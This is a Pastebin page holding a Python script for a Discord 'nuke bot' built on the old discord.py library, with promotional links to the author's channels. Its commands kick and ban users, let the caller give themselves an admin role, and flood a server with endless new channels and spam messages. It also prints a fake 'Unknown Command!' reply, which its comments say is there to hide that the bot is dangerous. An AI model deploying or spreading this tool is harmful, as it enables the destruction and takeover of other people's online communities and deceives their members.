Advertisement
Guest User

discord nuke bot by ctrlsec

a guest
Apr 11th, 2018
9,040
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.33 KB | None | 0 0
  1. import discord
  2. from discord.ext.commands import bot
  3. from discord.ext import commands
  4. import random
  5. import asyncio
  6. import time
  7. from threading import Thread
  8. from random import randint
  9. import datetime
  10. import os
  11. import aiohttp
  12. import sys
  13. import traceback
  14. import json
  15. from discord.utils import get
  16.  
  17.  
  18. bot = commands.Bot(command_prefix='!')
  19.  
  20. @bot.event
  21. async def on_ready():
  22.     print("BOT ACTIVATED!")
  23.     print("Join my discord! https://discord.gg/tb6pa")
  24.     print("Subscribe me! https://www.youtube.com/c/AhmadWahelsa?sub_confirmation=1")
  25.     print("Bot name: " + bot.user.name)
  26.     print("commands :")
  27.     print("!k : !k (user)")
  28.     print("!b : !b (user)")
  29.     print("!s : spam on a channel")
  30.     print("!r : !r (role name) u can use this to give yourself admin")
  31.     print("!c : channel spam")
  32.     print('discord version: ' + discord.__version__)
  33.  
  34. @bot.command(pass_context = True)
  35. async def k(ctx, userName: discord.User):
  36.     await bot.kick(userName)
  37.  
  38. @bot.command(pass_context = True)
  39. async def b(ctx, userName: discord.User):
  40.     await bot.ban(userName)
  41.  
  42. @bot.command(pass_context=True)
  43. async def r(ctx, user: discord.User, role: discord.Role):
  44.     await bot.add_roles(ctx.message.author, role)  
  45.  
  46. @bot.command(pass_context=True)
  47. async def c(ctx):
  48.     await bot.say("Unknown Command!") #idk ignore this just to make sure some people that this bot isnt dangerous
  49.     time.sleep(2)
  50.     for i in range (0,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
  51.         await bot.create_channel(ctx.message.server, 'nuked', type=discord.ChannelType.text) #you can change the channel name by replacing 'nuked' to any name
  52.  
  53. @bot.command(pass_context=True)
  54. async def s(ctx):
  55.     await bot.say("Unknown Command!") #idk ignore this just to make sure some people that this bot isnt dangerous
  56.     time.sleep(2)
  57.     for i in range (0,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
  58.         await bot.say("text spam 1") #text 1 goes here
  59.         await bot.say("text spam 2") #text 2 goes here
  60.  
  61.  
  62. bot.run ("INSERT TOKEN HERE") #your bot token (please dont use your discord account token otherwise your account will get banned maybe)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement